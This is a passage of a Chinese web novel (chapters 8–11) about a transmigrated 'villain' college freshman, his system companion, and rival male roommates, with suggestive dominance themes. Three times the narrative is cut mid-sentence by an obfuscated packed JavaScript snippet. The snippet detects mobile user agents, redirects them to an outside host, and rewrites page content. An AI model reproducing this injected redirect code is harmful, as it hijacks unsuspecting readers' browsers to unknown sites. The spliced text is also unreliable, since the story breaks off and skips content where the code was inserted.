朗月现下意识就想拒绝,系统却及时出声:“不让他干,怎么短短几个小时就总有刁民想害朕,这人在书里当你的狗时这么不乐意,现在倒是抢着要帮你干活,一看就没安好心。” 这让朗月现不由得又多打量了他几眼:“就是他?” 面前这个笑得跟个大型金毛一样的高个男孩就是原书那个被自己带头霸凌,受尽欺负,隐忍不发,最后被善良的天使主角受捡走拯救的那个主角攻之一? 看着也……不怎么样啊。 系统摇了摇小手指,故作严肃:“哎,宿主你这就是美丽的眼睛看人低了。” 朗月现:“?”它是不是在骂我? “程澈可是主角攻中莫欺少年穷的典型人物,别看他现在家境不好,人又老实,看着不太行。他可是唯一一个作为穷人家的孩子,纯粹凭借自身的天赋和努力,一步步最终走到金融巨鳄的金字塔顶尖巨佬位置的人,同他们那些有着先天优势的富二代主角攻们平起平坐啊。这穷小子以后可是大佬,一匹华尔街之狼啊。” 朗月现:“……你平时能不能少看点狗血剧?” “什么东西?我们现在就活在狗血剧情里,你准备要人道毁灭了宝吗?” 眼看着系统还要得理不饶人的喋喋不休,朗月现干脆利落的打断了它的施法,抬起眼对程澈礼貌地点了点头:“好,那就麻烦你了。” 系统:“?” 本来惴惴不安觉得自己是不是太唐突了的大金毛在得到朗月现的回答后,终于松了一口气,立刻露出一个真心实意的灿烂笑容。 程澈有一张能轻易取得其他人好感的脸,圆眼睛双眼皮,眼角微微下垂,天然的乖顺感,笑起来会露出一颗小虎牙,长得非常讨人喜欢。 朗月现:更像金毛了。 —— 朗月现借口去洗漱间整理一下,其实是被脑海中系统的尖锐爆鸣吵得有点头晕了。 朗月现关上门,狠狠捏了捏眉心,企图越过系统直接跟主系统对话:“那个管事的在不在,真的没有办法屏蔽它吗?” 系统一下就安静了。 朗月现:“这么好使吗,早知道我早告状啊。” 彻底屏蔽了你。 系统愤愤开口:“别想好事,我们老大忙着呢,才不会这么闲着管你这些小事呢。” 朗月现好笑道:“那你害怕什么?”系统又哼哼唧唧不说话了。 因为在进入世界的那一刻,它确实短暂的被主系统掌控了几秒的意识。 它也不知道是为什么,老大会突然亲自出现在小维度世界,不知道是一时兴起的审查工作还是出于什么特殊原因。 但是他不敢赌啊,他们老大还蛮凶的呢,万一真让宿主叫出来了,扣自己绩效怎么办。 辛辛苦苦工作,一年到头也就挣那几个积分,这个宿主看着还挺靠谱,他还想着干完这一单,大挣一笔,回去能把他心心念念好久的大型全息模拟枪战游戏给买了呢。 没错,别看它这么乖,内心可是个喜欢拿枪突突突别人的猛男一枚呢。 系统赖叽半天,决定转移话题,它不满的发问:“宿主,你这种行为是不是跟咱们远离原霸凌剧情的目标多少有点背道而驰啊。” 朗月现不置可否,他顺手拧开水龙头洗了洗手,面上依旧云淡风轻,语气却带着一丝明显的嘲弄:“就这么点事,总不至于成霸凌他了吧。” 系统一噎:“那倒不至于啦,只不过咱们不是要远离这些原书的主角们吗……” 朗月现闻言,一边眉头扬起,表情看起来已经非常不爽了,声音却愈发平静。 他说:“凭什么?” 朗月现一开始就没准备为了抵抗世界意志给他设定的死亡结局,而去刻意伪装自己。 这段正在发生的,前所未有的经历确实使他倍感兴奋,他想要的是尽情享受这个荒诞世界,而不是为了它去改变自己。 朗月现不会演戏,他也不屑于此。世界意志给他做了一个名为“恶毒反派”的牢笼,想要困死他,他不会为了挣脱这个牢笼而躲进另一个自己亲自制造的,所谓“温和善良”的牢笼。 都是枷锁,都是假货,谁又比谁高贵呢。 自己身为这个维度世界唯一觉醒的人,为了摆脱世界意志的追杀去扮演一个伪善的角色,强行融入这个恐怖游戏的NPC剧目表演,那自己这个觉醒就太可笑了。 太无趣了,就算确实因此活下来了,朗月现也只觉得反胃。 他偏要在这个蠢得出奇的小说世界做自己,做嚣张任性,恣意张扬了十八年的朗月现。 如果真的抵抗不了世界意志,注定要在这个世界消亡,那他宁愿身为真正的朗月现死去,而不是一个为了活命,伪装出来假人死去。 朗月现抽了几张卫生纸,擦干净了手,抬头瞟了一眼镜子中的自己,系统却莫名觉得这饱含深意的一眼看的好像是自己呢。 “凭什么要我去躲着他们,大家井水不犯河水也就算了,怎么,主角就这么高贵吗?” 系统讪讪地没敢说话,朗月现忽而挑唇一笑,语气颇有几分任性的味道:“再说了,我才是反派,要躲也是他们躲着我。” 系统赶紧趁机对自己的反派宿主表忠心:“可不嘛,宿主说的是,能被我们宿主使唤是他们八辈子修来的福分。” 朗月现:“……倒也不必……” 系统继续碎碎念:“不过外面这个主角攻其实算得上是那几个主角中最善良的一个了,宿主在原书中那样毫不顾及得羞辱霸凌他,到最后唯一没参与对你下手的就是他了。这人该说不说还是可以处的,心境确实跟普通人不一样,怪不得人家能成功呢,是有点抖m在身上的……” 朗月现:“……” 朗月现刚要让他住嘴,别胡说八道了,裤兜里的手机突然响了起来。 —— 心虚。 要问当时朗月现是个什么心情,那就是一整个心虚。 要说他有良心吧,他能背着他哥一声不吭的偷跑,但是要说没良心,他还会心虚呢。 手机响了能有十几秒,朗月现还是一动未动。直到系统都开始提醒他:“宿主,你手机响了。” 朗月现:“……嗯。” 他镇定下来,都已经抱着充足的,被他哥痛心疾首的狠狠质问一顿的准备掏出手机,结果来电显示是朗父。 朗月现扶额无语的点了接听。 “怎么样,我们小月当大学生的第一天还顺利吗?” 隔着听筒都能听出朗父话里话外掩饰不住的愉悦语气,朗月现便也忍不住的露出几分笑意:“怎么了,发生什么给我家老头乐成这样?” “哈哈哈你小子猜到了?你是不知道刚刚老王给我打电话哭诉的那个窝囊样子。我不是听了你的馊主意,让你王叔帮忙拖住你哥吗,你哥估计是看出来了,这小子是一点情面不留啊,亲自上的谈判桌。” “把老王他带来的那些专职员工都谈呆了,养得一帮废物连句话都反驳不了,你王叔跟咱们十多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那边顿了一下,手机便换了一个人接听,朗太太的声音温柔地传来:“乖宝啊,妈妈跟你孟姨可是世交,小周这次能回来她特别惊讶,本来已经被美国规格最高的体协录取了,但是这小孩跟谁都没商量,自己偷偷把履历报到你们学校,通过了之后就直接把那边拒了。” “你孟姨偷偷跟我说的,他是事先打听了你去的哪所学校,才突然决定要回来的,所以跟妈妈说了,想让你多关照一下小周。” 朗月现听罢,不甚在意的轻挑了下眉,虽然确实没准备往心里去,嘴上回应郎太太的声音却非常柔和:“知道了妈妈。” 这时洗漱间的门被轻轻叩响了几下,他一边往门口走,一边轻笑着回应着妈妈的嘱托:“放心吧,妈妈亲自交代的事我一定做到,同学叫我了,我先挂了……” 洗漱间门从里面打开,周闻铮手肘撑着门框,姿态闲散的看着门内走出来,微垂着头刚刚挂断电话的朗月现。 他低着头看过去,先是看见了那低垂着的极长而浓密的眼睫毛。 没想到男生还能长这么长的眼睫毛。 之后就见那长睫轻颤一下,像是蝴蝶振翅一般掀开来,露出被细密的睫毛遮住的黑眼珠看向了自己。 朗月现其实长了一副颇为帅气的容貌。 鼻梁英挺,五官优越,行动间那股潇洒又随性的气质非常吸引人。 但是他却有一张颜色很是艳丽的嘴唇,像是天然涂了口脂,让本来帅气十足的脸多了一股难言的俊美昳丽。 周闻铮便第一时间被那微微抿起的红唇吸引了所有目光。 现在正是日头最烈的正午时分,窗外明烈的光线倾洒进来,照射在面前少年那透白的脸上。 少年形状姣好,饱满精致的嘴唇竟在那日光下现出绯红的颜色。像是熟透了的樱桃,洋溢着柔润娇嫩的微光。 而那双此时此刻占据了他全部心神的朱唇在他面前微启,那沐浴着日光湿润微亮的光泽开始闪动。 周闻铮像是被蛊惑到了一样,不受控的伸出手,大拇指在那抹微光上略微用力的擦过。 朗月现:“……?” 他被这人唐突的举动震惊得表情都空茫起来。 周闻铮却像完全意识不到自己这个举动有多冒昧一般,困惑的低头看了看自己的手指,低声自言自语道:“原来没抹口红吗……” 9. 第九章 朗月现被气笑了。 他眼睛都没眨一下,面无表情的,狠狠一拳挟风击出,冲对面这人的下腹打去。 朗月现训练时跟搏击教练对打,教练曾多次夸赞过朗月现的速度和反应力非常快,是很适合学习搏击的好苗子。 但对面的反应竟然比他更快。 朗月现挥出的拳头被他大的出奇的手掌牢牢包裹住,力气非常大,身形都没晃动一下,瞬间化解掉了所有攻向他小腹的力度。 周闻铮低下头,饶有兴致地直视着那双被怒气点燃的明亮眼睛,勾着唇角,露出一个非常兴味的笑。 长了这么一张漂亮的脸,人倒是挺有性格的。 朗月现只觉得那笑容非常欠揍。 他想把手抽回来,对方竟然完全不松手,朗月现难掩眼中的惊讶,挑起了一边的眉毛,似笑非笑的同他对视。 周闻铮看着朗月现越来越不爽的脸,忍不住弯了嘴角,微微眯起眼睛仔细欣赏了一会儿,忽然弯下腰靠近。 对方灼热的呼吸近在咫尺,朗月现躲都不躲,迎上对方直勾勾的眼神,只觉得对方望着自己,那眼中明晃晃的笑意全是挑衅。 周闻铮只是有些怔忪的看着,那双被日光照耀着的黑眸中,一瞬间亮起澄澈如鎏金般的高涨怒火。 周闻铮只觉得漂亮的心惊。 两人这一动不动的无声对峙终于惊动了不远处的程澈,他刚还在擦朗月现的桌边柜,意识到这边气氛不对,走近几步,就看见朗月现的手被那个刚来宿舍的男人紧紧攥在掌心。 程澈原本有些蹙紧的眉头更紧了几分,他随手丢下抹布,不自觉的攥紧了拳头。 他表情严肃又戒备的看了周闻铮一眼,紧接着对朗月现开口询问道:“这是怎么了,你没事吧?” 朗月现当然不可能示弱,他眼神一沉,语气冰冷:“放开。” 周闻铮眼看着真要把人惹生气了,终于慢慢放开手,完全把站在一旁的程澈当空气,旁若无人的对朗月现依旧保持着极近的暧昧距离。 慢悠悠凑到他耳边呼出热气:“好久不见,脾气还是这么大啊,小月月。” 朗月现因为这个熟悉的称呼,突然隐约的想起来面前这个人是谁了。 朗月现从小到大都没缺过朋友,他长得实在漂亮,即使被惯得说一不二,肆意跋扈,还是有前赴后继的人争着讨好他,想尽办法,争先恐后地希望朗月现能多看他们一眼,哪怕跟他们说上一句话。 而在这些眼巴巴等着朗月现宠幸的同龄玩伴中,有一个小孩确实给朗月现留下了不小的印象。 周闻铮小时候跟着妈妈去朗家做客,朗家院子里有一颗年岁很久,很高大的榕树,周闻铮随妈妈路过前院,看到有一群年岁不等的小孩聚在榕树底下,好像围着什么东西,或站或坐,姿态百出,还都兴致勃勃的。 朗太太这时出来迎接,顺着他们的目光看过去,一脸了然的笑了笑,弯下腰对周闻铮说:“那边是小月弟弟,闻铮也过去找他玩吧。” 周闻铮高冷的摇了摇头,他是个大孩子了,才不会跟那些小屁孩一样围在一起玩什么过家家的幼稚游戏。 朗太太见状也没多说什么,只是温和得笑着揉了揉周闻铮的头发:“那好,咱们进去吧。” 这时朗太太身后传来一个清亮好听的少年声音,他嘴上唤着妈妈,走过来时身姿笔挺,近前后极守规矩的站在一旁。 周太太看清来人,惊讶地问道:“这是家里老大吗?一段时间不见,长成大小伙子了。” 朗秉白此时已然出落成非常标志俊朗的小少年,行动间有一种超越年龄的稳重,他礼貌的向客人打了招呼,便转头对朗太太说:“妈,小月到午休的时间了。” 朗太太遥遥看了一眼远处,似乎觉得朗月现应该正玩的开心,但是看了看朗秉白一脸不容置喙,仿佛只是例行公事的通知妈妈一声的样子。忍俊不禁的摆摆手,示意朗秉白去吧。 维持着稳重这么长时间的少年,在转身离开去接弟弟的时候,步伐竟显得格外急迫。 周闻铮看着朗秉白分开围得很紧的小孩子们,弯下腰,轻手轻脚的从他们中间抱起一个白生生的娃娃。 周闻铮的第一反应是:哦,原来他们围着的是个洋娃娃。 紧接着就是:好漂亮的洋娃娃。 周闻铮自觉已经是个成熟的大男孩了,平时也不会怎么接触女孩子们喜欢玩的洋娃娃,他不知道原来洋娃娃能这么漂亮。 做的好精致,头发又黑又亮,乌溜溜的大眼睛像黑珍珠一样,离得这么远都能看到粉嘟嘟的一张小脸细腻白皙的惊人,鼻尖粉粉的,嘴巴也粉粉的,各处都漂亮的出奇。 直到洋娃娃开始眨眼睛,搂着朗秉白的脖子喊饿,要吃草莓布丁。 周闻铮才后知后觉的终于意识到,那好像是个真小孩。 周闻铮幼小的心灵大受震撼。 从没向父母要求过什么的成熟大男孩回到家后对着周父软磨硬泡,非要转到和朗月现同一所幼儿园。 朗月现上的是专门为朗父这种带着特大功勋退役,服务于部队军人特殊设立的育儿所,周父简直头都大了,一直很听话的小孩这次不知道犯得什么倔,无论怎么解释都没用。 气的周父狠揍了周闻铮一顿,接着便带着同朗太太是世交好友的周太太登了朗家的门。 周闻铮终于如愿以偿,成功当上了朗月现最权威的狗皮膏药。从幼儿园直到初二,朗月现带着周闻铮在身边,就像养了一条疯狗一样。 平时闷声不吭气,同朗月现也不怎么说话,就喜欢跟在人家后面喊他“小月月”,朗月现也不回应他,淡淡的给一个眼神就满足。 饿狼一样亮着一双大眼睛,天天像看肉骨头一样,单纯看着护着,馋的要命也不舍得咬一口。 别人但凡离得近点,惹得朗月现露出个笑脸,都用不着等到第二天,当天晚上就得鼻青脸肿得挨一顿揍。 周闻铮一路凶神恶煞的到处找茬,打架打的出了名。为了防止事态愈演愈烈,周父英明神武,趁事情还能控制住的时候,大手一挥,直接给人打包扔去了美国,彻底改好之前连回家看看都甭想。 朗月现回忆往事,那条凶名在外的大狼狗就乖乖的站在原地一动不动,低着头到处看他。 朗月现不由得又将人从上到下仔细打量一番,他记得这人小时候又黑又瘦的,个头不高,打起架来倒是凶的要命,怎么消失了几年回来变成这个样子了。 周闻铮穿了个无袖黑t和运动短裤,没有小时候那么黑了,是晒出来的健康性感的蜜色,个头看上去要一米九多,肌肉结实又漂亮。 理了个利落的寸头,完整的露出骨相锋利的整张脸,鼻梁高的有点显凶,高挺的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018970|162168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉骨上打了一颗眉钉,帅得野性十足,整个人散发着侵略感十足的性张力。 朗月现在想起他是谁后,神色略微放松了一些,不想留人继续在这看他的热闹,他将像个狗一样恨不得贴在他身上的周闻铮推开一些,语气冷淡的转头对程澈说道:“没事,我们认识,你去忙吧。” 程澈很有眼色的感受到朗月现想要赶他走的意思,但还是谨慎的又审视了一番周闻铮,才默默离开。 周闻铮下盘稳得要命,被推远了不过十几厘米,他都没注意听朗月现在干什么,只知道他现在没看自己,还对着别人说话,而且离得太远闻不到朗月现的香味了。 程澈前脚刚走开,朗月现头都还没转回来,后一秒腰间就被一只大手揽住了。 周闻铮揽着那细腰将人又往身前带了一步,甚至比刚刚被推开之前还要近,几乎要衣服贴衣服。 周闻铮完全没觉得这样有什么不合适,他只奇怪的低下头瞅了一眼自己手所在的位置,隔着薄薄的一层衣服手感都好到出奇。 腰肢紧实顺滑,不敢想如果不隔着衣服,直接摸上去,手感会有多细腻。 是因为自己的手比一般人要大吗,他怎么觉得单一只手都能把那细腰揽个差不多呢。 似乎还能隐隐摸到一处内陷,周闻铮好奇的想把手指按上去,只感受到腰窝处紧韧有力的肌肉越绷越紧。 他只顾着低头看腰,也不管朗月现正在看着他的脸色黑成什么样。 手中让人爱不释手的手感搞得他满脑子都是:好劲的腰。 腰间像是被一只烫人的火炉到处乱摸,朗月现忍无可忍,后退一步,伸出手一把扯住他的衣服,周闻铮正不知道在胡思乱想什么,毫无抵抗的被他轻松揪着领子带到近前 “别以为出去浪了几年,回来就能不知天高地厚。” “把你的爪子拿开,然后,给我滚。” 周闻铮从小在朗月现的嘴里听到对自己说的最多的一句话就是“滚”。 各种各样的滚,滚开,滚远点,给我滚。 要是真给人惹急了,朗月现连理都不会理他,周闻铮只能厚着脸皮,丑态百出,直到跪在他面前,不要脸的祈求,只为求得他轻飘飘地的赏一个“滚”。 自小听惯了的话时隔多年终于又从那张漂亮的嘴里对着自己说出来。 周闻铮只觉得一股子酥麻感如电流般从小腹处直抵脑神经,九月份暑天,他就这么原地猛地打了个寒颤,心理与生理皆获得了莫大的餍足,狠狠的爽了。 小时候就觉得这洋娃娃嘴巴粉粉嫩嫩特别好看,骂人也好看,生气也好看,让他滚也好看。 长大后嘴唇颜色竟还越发秾丽起来,月月真是越长越漂亮。 骂起人来也更好听了。 疯狗爽了就老实了,听话的乖乖让开,目送着朗月现看也不看他,脸色铁青的走到自己的床位边,恨不得离他远远地。 周闻铮没去管朗月现那副对他避之不及,很是厌烦的样子。他背对着朗月现,扯了扯裤腰。 今天穿的宽松运动短裤,应该是可以很好的遮掩一些事情的,奈何此人的男性本钱实在天赋异禀。 周闻铮实在不想这么久没见,第一次见面月月就把他当成个随时扛/枪的痴汉变态。他走进浴室准备冷静冷静,哪知道朗月现此刻心里早就把他标成蠢货变态看待了。 10. 第十章 朗月现走到自己的床位边,拉开被程澈反复擦得纤尘不染的椅子坐了上去。 系统:“宿主,这个主角攻是不是对你……” 朗月现在脑海中肯定得回应道:“嗯,他确实很讨厌我。” “小时候我就对他没有过好脸,现在不依不饶找过来,估计是想报复我。” 朗月现嘴上说着自己会被人蓄意报复的话,神情却丝毫未变,他姿态散漫的翘着腿坐在椅子上,漫不经心的转着手机:“一见面就给我一个下马威,看样子我们之间的矛盾确实严峻得无法调和。” 系统:“?”是这样吗?我怎么觉得不太对呢。 朗月现早就有了在进入这个世界时,身为恶毒反派总有一天会被所有人所厌恶的准备了。 他对旁人的态度毫不在意,此刻也只是单纯回答系统的疑问,内心除了觉得有些麻烦之外别无他想。 眼前出现一瓶矿泉水,朗月现抽离思绪,抬头望过去。程澈将水递到他面前,小心翼翼的窥着他的神色,圆滚滚的小狗眼又投来那种眼神,乖顺的,带着讨好的。 “喝,喝点水吗?” 朗月现道了声谢,接过水,眼看着只是被接下了水就眉开眼笑地掩饰不住,笑得幻视中的尾巴都摇个不停的大金毛。 朗月现收回视线,嘴角微勾,眼里带着几分讥讽。 要不说人都怕对比,虽然都是惹人厌烦的狗,但是乖狗总要比疯狗好一些。 朗月现决定给乖乖听话的狗一些奖励,他抬起眼,语气带着几分恶劣的逗弄,像哄小孩似的说道:“今天多亏你帮忙,下次请你吃饭吧,或者你有什么喜欢的东西,我可以买给你。” 朗月现想了想,像觉得自己诚意不够一样,又说:“任何东西。” 程澈目光微微一顿,眼中闪过一抹诧异的情绪。他马上反应过来,目光紧锁在朗月现身上,似乎想说什么,控制不住的向前一步,步子因为急迫迈得有点大,他的小腿甚至碰到了朗月现翘起的鞋尖。 这一触碰反而让他冷静下来,朗月现还没说什么,程澈就在他那因为惊讶而轻轻收缩的瞳孔中,慢慢的在他面前单膝跪下了。 朗月现的眼神中带着一丝难以理解的震惊,似乎在重新确认眼前这一切。 他面上诧异,身形却未动,经常会有人在他面前做一些让人不得其解的事情,说实在的朗月现其实已经见怪不怪了。 但这是他们俩的第一天见面,面前这个人还是受到那个奇葩狗血小说的世界意志保护的主角之一。 就这么水灵灵的当面给自己跪下了。 虽然莫名其妙,但是朗月现在惊异过后,很快且坦然的接受了眼前这一幕。而且,让小说主角在他这个反派面前跪下,确实挺爽。 朗月现轻嗤一声,怪不得原书中的那个自己这么喜欢霸凌主角,果然是能感受得到单纯欺负其他普通人都获得不了的快/感呢。 朗月现心安理得、程澈动作自然,两个人都适应良好,并未觉得此刻这一幕有任何不对劲的地方,仿佛这才是他们的视线本应如此的角度。 程澈也很难解释他的行为,虽然朗月现抬起眼睛,用上目线看他的时候,漂亮的让他难以抑制的心跳加速。 但当他垂下眼,神色漠然,那种随意的,带着淡淡的疏离和高傲的轻蔑眼神,仿佛更能满足他内心不可言说的古怪癖好。 程澈喉结快速的上下滚动,下压住因为心脏急速跳动而不断翻涌的气血,他小心翼翼的注视着朗月现的眼睛,轻声回答他刚刚的问题:“我很愿意为你做这些事情,不需要任何报酬。但是,吃饭的话,如果可以,我希望可以和你一起去,当然,是由我来付钱。” 朗月现已经努力的想要表现得像个好人,但是在听完这段话,他实在是控制不住自己身体里那股恶劣因子。 他意味深长得上下打量了程澈一眼,眼神中的嘲讽和笑意明显的傻子都能看出来,他在说:请我吃饭,就凭你? 程澈顿时头皮发麻,被看的下腹猛然一紧。 对,就是这种看垃圾一样的眼神。 每当被这种眼神掠过,程澈都觉得自己那廉价衣服底下卑贱的肌肤都要因此灼烧起来,到处泛着一股难言的羞意。 从楼梯口看到朗月现的第一眼,他投在董其铭身上那冷淡中带着不屑的嘲弄眼神,漫不经心的态度,让他在那个非常不合时宜的场合,不可名状的兴奋起来。 如果不是怕吓到他,他甚至想双膝着地,分开双腿,羞耻又兴奋的袒露着丑陋的欲/望,任由朗月现用那种看垃圾的厌恶眼神,注视着他。 微微垂下眼遮住自己眼底明显的情绪,程澈试图稳住自己亢奋的神经,他不断调整着难免粗重起来的呼吸。 从程澈突然对着朗月现单膝下跪,系统的心情一直处于一个很难描述的状态。 它心想,世界意志确实是强啊,宿主这都没还出手,主角攻就主动来当狗了? 真是防不胜防啊,它终于憋不住了,在脑海中对朗月现说道:“宿主你快让他起来吧,你看他脸红的都快熟了,别一会儿恼羞成怒,再暴起伤人。” 朗月现不屑的轻嗤,他心想我练搏击干嘛的,还能让他唬住了?再说又不是我让他跪的。 说归说,光这么跪着确实不像回事,他刚要出声让程澈起来,浴室的门发出一声轻响,朗月现抬眼望过去,就看见周闻铮姿态散漫的抱胸站着,眉梢轻挑,似笑非笑的看着他们。 死去的记忆突然开始攻击朗月现的脑海,他几乎是条件反射的想起来,每每周闻铮露出这种表情,就有人要挨揍了。 周闻铮大步一迈,一把拎起自己的椅子,“咣”的一声放在朗月现身边,嘴边的笑意越来越假:“聊什么呢,都开心到跪下了,让我也听听呗。” 有旁人出现,程澈瞬间冷静下来,他面无表情,神色如常,只剩还未消下去那脸上的红意不断提醒着周闻铮,这混球刚刚一定背着他,在这对月月做了一些无法原谅的恶心事。 朗月现不愿多说,程澈也一言不发的扶着膝站起来,却不慎趔趄一下,朗月现眼疾手快抓住他小臂扶住,这才算站稳。 程澈眨着那双温润又清亮的狗狗眼,乖巧的道谢,像一只讨好主人的狗。再往旁边一看,只因为朗月现放在程澈小臂上的手,连那点假笑都维持不住,脸色黑的像要杀人的疯狗。 朗月现冷笑,简直是高下立判。 —— 宿舍的门突然被推开,一个留着长发带着鸭舌帽的男孩拎着大包小包,几乎是从外面撞了进来。 几人还没反应过来,男孩一掀帽檐,冲他们扬起一个非常阳光的笑脸。 “大家都到啦,你们好,我叫应昭,是你们的舍友。” 他又往前走了几步,这才发现他身后还背着一个巨大的乐器包,程澈赶紧上前帮忙,应昭本来就不大的笑眼更是弯成一条月牙:“谢谢你啊同学,你人真好,哎你叫什么名字,是哪个系的,来了多久了,出去逛学校了吗?” 程澈一下被他过于快的语速和大量的问题给打蒙了,手上帮忙的动作都停滞了几秒:“……你还是先进来再说话吧。” 应昭“哦哦”几声,跟程澈一起把行李都拖进来,反手将身后的乐器包解下来放在地上,擦了把汗,长长的舒出口气:“是我草率了,早知道会有没电梯这种情况出现,我当年怎么也不会去学大提琴。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018971|162168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他休息过来,才想起来好像还有两位未问候的舍友,他转头看过去,接着那标志性的笑容便微微僵在脸上。 周闻铮不用说,长手长腿的坐在那非常大只,伸长一双腿几乎完全挡住了床与床之间的过道,骨相锋利得带着点凶相的一张脸专注地看向旁边的人,眉目间竟是平和的笑意。 存在感如此之强的周闻铮也只得到了应昭不走心的一瞥,他的全部注意力几乎是刹那间就完全定在离窗边不远处坐着的,那位唇红齿白的少年身上。 少年一只手懒懒的撑着头,低着头正在摆弄握在修长指节中的手机,大片露出的白皙肌肤会将身体上任何一点别的颜色衬得格外显眼,无论是手肘处的嫩粉还是唇上的绯红,而高挺的鼻梁又很好的中和了那过于艳丽的唇色。 细长且直的眼睫乖顺的垂着,应昭下意识想令那对看得人心痒的长睫掀开,好像付出什么代价都可以,只要让他用那双眼睛,真正的看向自己。 自己是不是在哪见过这个人?这么漂亮的人见到就很难忘记吧,应昭脑中胡乱的想着,下一秒突然灵机一动。 “啊!”他恍然大悟的叫了一声,不光程澈,房间里将他视作无物的两个人也看了过来。 应昭激动的冲到朗月现面前,途中差点没让周闻铮一双长腿给绊死,他恍然不觉,对朗月现激动又热情的说道:“同学你好,我叫应昭,应该的应,昭昭其华的昭,见到你真是太惊喜了,我在论坛帖子上刷到你的时候就超级惊艳,没想到本人更好看,你真好看,咱们是舍友吗?我也太幸运了吧……” 朗月现终于做了那个让应昭心痒难耐的动作,他抬睫看他,神色未变,下巴微微抬起,笑着问道:“什么帖子?” “就是一个寻人贴,里面有你的照片,我以为那照片就很好看了,结果那照片拍的还不如你本人的十分之一……” 朗月现没继续听应昭的喋喋不休,他眼睛轻轻往旁边一瞥,同他对上眼神的周闻铮顿时了然,手脚麻利的拨通了一个电话,起身出去时嘴里还不爽的骂道:“什么狗屁帖子,赶紧给我删干净。” 蠢狗疯是疯了点,不过一直以来倒是都挺好用的。 “男神你知道吗,那帖子热度很高,你现在追随者可多了,跟我们音乐社团的那位盛衍学长都差不多呢。” 朗月现目光一顿:“你说,盛衍?” 应昭忙不迭的点头道:“对啊,盛衍学长,盛神,咱们学校蝉联校草。男神你也认识他吗,那位可真是大名鼎鼎。不是马上要召开新一届迎新晚会嘛,我们这些入学前就加入社团的学生得先去社团集合商量联排的节目事宜,我今天先去了社团报道,近距离一看果然名不虚传,确实是位人物……” 朗月现突然开口打断他,语气柔和到让一直安静地站在一旁的程澈都不免投来了目光。 他那本就春色无边的脸带上了点温和笑意,简直是杀人利器, “你说的那个社团我还挺感兴趣的,下次能带我去看看吗?” 应昭哪能不答应,他惊喜都不知道说什么好了,难以自控的一把握住了朗月现的手:“那当然没问题了,男神你愿意去不知道多少人要谢谢我呢。” 周闻铮回来就看见应昭双手紧握着朗月现的手,涨红着脸神色格外激动。 他冷笑一声,内心不屑地想:真是谄媚。 他懒得再看,坐在椅子上转过身去。 没过两秒又不爽地转了回来,第一时间把目光放在两人紧紧交握的手上,心里浑然不是滋味,他拧着眉“啧”了一声,正准备说话,下一秒朗月现就将手从应昭的手中抽了出来。 周闻铮当时就没气了,一声不吭勾着唇角又转了回去。 11. 第十一章 应昭原本还邀请了另外两个舍友,但周闻铮根本不搭理他,程澈本来说要去,接了个电话后突然神色微变的道声抱歉就跑了出去。 所以现在只有朗月现随着应昭走在前往社团的路上。 系统实在是看不明白,朗月现这种明知山有虎,偏向虎山行的行为,它安慰自己宿主山人自有妙计,努力夹着嗓子谄媚的问道:“宿主啊,咱这又是唱的哪出啊?” 朗月现轻笑两声:“怎么,你怕了?” “倒也不是说怕……那可是主角受啊,比另外那些主角保护等级还要高的人物,咱去找他不是纯纯找刺激,不是说井水不犯河水,你这也没按咱商量好的来啊……” 系统突然灵光一闪,似乎是想到了什么,它声音骤然降下来,鬼鬼祟祟的问道:“难道说,宿主你是想快刀斩乱麻,趁着主角受还没跟他那些相好的见面,直接手起刀落人抬走,擒贼先擒王捉奸要捉双……” 朗月现:“……住嘴吧。” 朗月现伸了个懒腰,不慌不忙地说:“我就是好奇而已,不干什么。” 好奇那个将他的人生搅得天翻地覆,让书中的他嫉恨成疾的,到底是个什么人物。 朗月现悠悠的笑问:“你不好奇吗?” “好奇多了会没命的!书里这时候都没安排你们见面呢,你自己倒安排上了……”系统在朗月现脑海中焦虑的到处乱走,不满的小声嘀咕。 朗月现笑了笑,没管它在脑子里到处乱窜的烦人行为,依旧步伐悠闲的走在应昭身旁。 应昭的兴趣已经从偷看朗月现变成观察那些路过他们就会表情各异的学生们了。 真好玩,应昭在心里偷笑,他应该偷偷给他们拍下来,挂在论坛上让别人猜这得是看见了什么,能变成这副表情。 说干就干,应昭掏出手机,刚打开录像模式,没出三秒,镜头不自觉得就从路人身上,慢慢移到了旁边的少年身上。 简直了,动起来就是比照片还要好看,这段要是发到论坛上,自己私信会被问爆吧…… 应昭还在胡思乱想之际,屏幕中的人突然转过头,冲着镜头露出一个懒洋洋的笑容。应昭几乎瞬间心跳陡然加速,下一秒,镜头就被朗月现用掌心包了起来。 他眉梢轻挑,语气无奈的轻笑一声:“够了吧,别录了。” 应昭:“妈妈,我好像坠入爱河了。” 朗月现:“……” —— 天色渐晚,朗月现和应昭走到集合点,迎新晚会表演的大礼堂时,礼堂内已然全部亮起了灯。 C大的礼堂在学校成立之初就早已建立,经过几次修缮和翻新,如今很有富丽堂皇的厚重历史感。 应昭来的不算晚,但新生总是一包劲使不完,粗略一看,除了几位高年级的学长,表演人员几乎都已经到齐了。 